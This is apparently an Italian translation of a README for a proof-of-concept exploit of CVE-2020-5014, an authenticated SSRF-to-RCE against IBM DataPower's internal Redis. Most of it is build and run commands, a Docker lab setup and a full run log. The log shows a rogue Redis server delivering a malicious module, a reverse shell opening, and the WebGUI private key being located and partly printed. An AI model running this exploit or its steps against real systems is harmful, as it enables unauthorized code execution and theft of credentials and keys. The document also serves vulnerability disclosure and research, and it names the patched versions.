
Una POC per l'exploit di RCE Redis autenticato su IBM Datapower che abusa della funzione Test Message (CVE-2020-5014)
Una POC per l'exploit RCE Redis autenticato di IBM DataPower che abusa della funzione "Test Message".

Spiegazione completa e demo su Youtube
Articolo del blog su tomcope.com
Utilizzando la funzione "Send a Test Message" di DataPower disponibile tramite una sessione autenticata alla WebGUI di DataPower, è possibile eseguire un attacco SSRF contro il server Redis interno di DataPower. Il server Redis interno è protetto da password, ma sembra utilizzare una password hardcoded. Questo può quindi essere combinato con una vulnerabilità Redis RCE preesistente per eseguire codice arbitrario come utente drouter all'interno del sistema operativo Linux sottostante di DataPower.
cd RedisModulesSDK/dpredisshell/makego build./datapower-redis-rce-exploit -h./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8Di seguito un esempio pratico che esegue DataPower tramite Docker e l'exploit localmente via localhost:
docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1admin e password adminidg# config
Global mode
idg(config)# web-mgmt
Modify Web Management Service configuration
idg(config web-mgmt)# admin-state enabled
idg(config web-mgmt)# exit
idg(config)# write mem
Overwrite previously saved configuration? Yes/No [y/n]: y
Configuration saved successfully.
idg(config)# exit
idg#
idg# show web-mgmt
web-mgmt [up]
--------
admin-state enabled
ip-address 0.0.0.0
port 9090
save-config-overwrite on
idle-timeout 600 Seconds
acl web-mgmt [up]
ssl-config-type server
enable-sts on
idg#
git clone https://github.com/copethomas/datapower-redis-rce-exploitcd RedisModulesSDK/dpredisshell/makecd ../../go build$ read DPREDISPASSWD
apples
$ echo $DPREDISPASSWD
apples
$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
Main - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
Main - 2020/10/18 23:34:29 Starting Rogue Redis Server...
Main - 2020/10/18 23:34:29 Attempting to Login to Datapower...
FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
FakeRedis - 2020/10/18 23:34:29 Online and Ready!
Main - 2020/10/18 23:34:29 Datapower Credentials Valid!
Main - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
Main - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
Main - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
Main - 2020/10/18 23:34:29 Datapower Login Complete!
Main - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Accepting connection...
FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
Main - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
Main - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Uploading module...
FakeRedis - 2020/10/18 23:34:29 Upload Complete!
Main - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
Main - 2020/10/18 23:34:29 Performing clean up...
Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
FakeRedis - 2020/10/18 23:34:29 Connection Closed
Main - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
Main - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
Main - 2020/10/18 23:34:30 Waiting for Reverse Shell...
Main - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:30 Accepting connection...
Main - 2020/10/18 23:34:30 Got Reverse Shell!
Main - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
id
uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
ps -ef
UID PID PPID C STIME TTY TIME CMD
drouter 1 0 6 22:00 pts/0 00:02:15 /opt/ibm/datapower/root/drouter
drouter 24 1 0 22:00 pts/0 00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
drouter 27 24 0 22:00 pts/0 00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
drouter 28 24 0 22:00 pts/0 00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
drouter 40 1 0 22:00 pts/0 00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
drouter 61 27 0 22:34 pts/0 00:00:00 [sh]
drouter 63 61 0 22:34 pts/0 00:00:00
find / -name webgui-privkey.pem 2>/dev/null
/opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT
Durante l'exploit, DataPower registrerà più errori url-open con l'url Redis interno. Ciò è dovuto al fatto che Redis non risponde nel formato XML atteso da DataPower.
18:22:55 network error 130 request 0x80e00040 xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'
Corretto nelle versioni 10.0.1.2 e 2018.4.1.15